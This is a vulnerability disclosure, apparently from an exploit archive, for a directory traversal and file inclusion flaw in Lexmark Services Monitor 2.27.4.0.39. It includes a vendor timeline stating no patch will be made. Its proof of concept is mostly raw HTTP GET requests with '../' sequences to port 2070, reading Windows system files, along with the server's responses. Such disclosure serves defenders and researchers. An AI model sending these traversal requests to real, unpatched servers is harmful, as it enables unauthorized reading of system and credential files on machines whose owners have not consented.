# Exploit Title: Lexmark Services Monitor 2.27.4.0.39 - Directory Traversal # Google Dork: N/A​ # Date: 2019​-11-15 # Exploit Author: Kevin Randall​ # Vendor Homepage: https://www.lexmark.com/en_us.html​ # Software Link: https://www.lexmark.com/en_us.html​ # Version: 2.27.4.0.39 (Latest Version)​ # Tested on: Windows Server 2012​ # CVE : N/A ​ ​ Vulnerability: Lexmark Services Monitor (Version 2.27.4.0.39) Runs on TCP Port 2070. The latest version is vulnerable to a Directory Traversal and Local File Inclusion vulnerability.​ ​ Timeline:​ Discovered on: 9/24/2019​ Vendor Notified: 9/24/2019​ Vendor Confirmed Receipt of Vulnerability: 9/24/2019​ Follow up with Vendor: 9/25/2019​ Vendor Sent to Engineers to confirm validity: 9/25/2019 - 9/26/2019​ Vendor Confirmed Vulnerability is Valid: 9/26/2019​ Vendor Said Software is EOL (End of Life). Users should upgrade/migrate all LSM with LRAM. No fix/patch will be made: 9/27/2019​ Vendor Confirmed Signoff to Disclose: 9/27/2019​ Final Email Sent: 9/27/2019​ Public Disclosure: 11/15/2019​ ​ PoC:​ ​ GET /../../../../../../windows/SysWOW64/PerfStringBackup.ini HTTP/1.1​ TE: deflate,gzip;q=0.3​ Connection: TE, close​ Host: 10.200.15.70:2070​ User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20​ ​ HTTP/1.0 200 OK​ Server: rXpress​ Content-Length: 848536​ ​ ​ .​ .​ .​ .[.P.e.r.f.l.i.b.].​ .​ .B.a.s.e. .I.n.d.e.x.=.1.8.4.7.​ .​ .L.a.s.t. .C.o.u.n.t.e.r.=.3.3.3.4.6.​ .​ .L.a.s.t. .H.e.l.p.=.3.3.3.4.7.​ .​ .​ .​ .[.P.E.R.F._...N.E.T. .C.L.R. .D.a.t.a.].​ .​ .F.i.r.s.t. .C.o.u.n.t.e.r.=.5.0.2.8.​ .​ .F.i.r.s.t. .H.e.l.p.=.5.0.2.9.​ .​ .L.a.s.t. .C.o.u.n.t.e.r.=.5.0.4.0.​ .​ .L.a.s.t. .H.e.l.p.=.5.0.4.1.​ .​ .​ .​ .[.P.E.R.F._...N.E.T. .C.L.R. .N.e.t.w.o.r.k.i.n.g.].​ .​ .F.i.r.s.t. .C.o.u.n.t.e.r.=.4.9.8.6.​ ​ ​ GET /../../../../../windows/SysWOW64/slmgr/0409/slmgr.ini HTTP/1.1​ TE: deflate,gzip;q=0.3​ Connection: TE, close​ Host: 10.200.15.70:2070​ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3​ ​ HTTP/1.0 200 OK​ Server: rXpress​ Content-Length: 38710​ ​ ..[.S.t.r.i.n.g.s.].​ .​ .L._.o.p.t.I.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.=.".i.p.k.".​ .​ .L._.o.p.t.I.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.U.s.a.g.e.=.".I.n.s.t.a.l.l. .p.r.o.d.u.c.t. .k.e.y. .(.r.e.p.l.a.c.e.s. .e.x.i.s.t.i.n.g. .k.e.y.).".​ .​ .L._.o.p.t.U.n.i.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.=.".u.p.k.".​ .​ .L._.o.p.t.U.n.i.n.s.t.a.l.l.P.r.o.d.u.c.t.K.e.y.U.s.a.g.e.=.".U.n.i.n.s.t.a.l.l. .p.r.o.d.u.c.t. .k.e.y.".​ .​ .L._.o.p.t.A.c.t.i.v.a.t.e.P.r.o.d.u.c.t.=.".a.t.o.".​ .​ .L._.o.p.t.A.c.t.i.v.a.t.e.P.r.o.d.u.c.t.U.s.a.g.e.=.".A.c.t.i.v.a.t.e. .W.i.n.d.o.w.s.".​ .​ .L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.=.".d.l.i.".​ .​ .L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.U.s.a.g.e.=.".D.i.s.p.l.a.y. .l.i.c.e.n.s.e. .i.n.f.o.r.m.a.t.i.o.n. .(.d.e.f.a.u.l.t.:. .c.u.r.r.e.n.t. .l.i.c.e.n.s.e.).".​ .​ .L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.V.e.r.b.o.s.e.=.".d.l.v.".​ .​ .L._.o.p.t.D.i.s.p.l.a.y.I.n.f.o.r.m.a.t.i.o.n.U.s.a.g.e.V.e.r.b.o.s.e.=.".D.i.s.p.l.a.y. .d.e.t.a.i.l.e.d. .l.i.c.e.n.s.e. .i.n.f.o.r.m.a.t.i.o.n. .(.d.e.f.a.u.l.t.:. .c.u.r.r.e.n.t. .l.i.c.e.n.s.e.).".​ .​ .L._.o.p.t.E.x.p.i.r.a.t.i.o.n.D.a.t.i.m.e.=.".x.p.r.".​ ​ ​ ​ ​ GET /../../../../../windows/system32/drivers/etc/services HTTP/1.1​ TE: deflate,gzip;q=0.3​ Connection: TE, close​ Host: 10.200.15.70:2070​ User-Agent: Opera/9.50 (Macintosh; Intel Mac OS X; U; de)​ ​ HTTP/1.0 200 OK​ Server: rXpress​ Content-Length: 17463​ ​ # Copyright (c) 1993-2004 Microsoft Corp.​ #​ # This file contains port numbers for well-known services defined by IANA​ #​ # Format:​ #​ # <service name> <port number>/<protocol> [aliases...] [#<comment>]​ #​ ​ echo 7/tcp​ echo 7/udp​ discard 9/tcp sink null​ discard 9/udp sink null​ systat 11/tcp users #Active users​ systat 11/udp users #Active users​ daytime 13/tcp​ daytime 13/udp​ qotd 17/tcp quote #Quote of the day​ qotd 17/udp quote #Quote of the day​ chargen 19/tcp ttytst source #Character generator​ chargen 19/udp ttytst source #Character generator​ ftp-data 20/tcp #FTP, data​ ftp 21/tcp #FTP. control​ ssh 22/tcp #SSH Remote Login Protocol​ telnet 23/tcp​ smtp 25/tcp mail #Simple Mail Transfer Protocol​ time 37/tcp timserver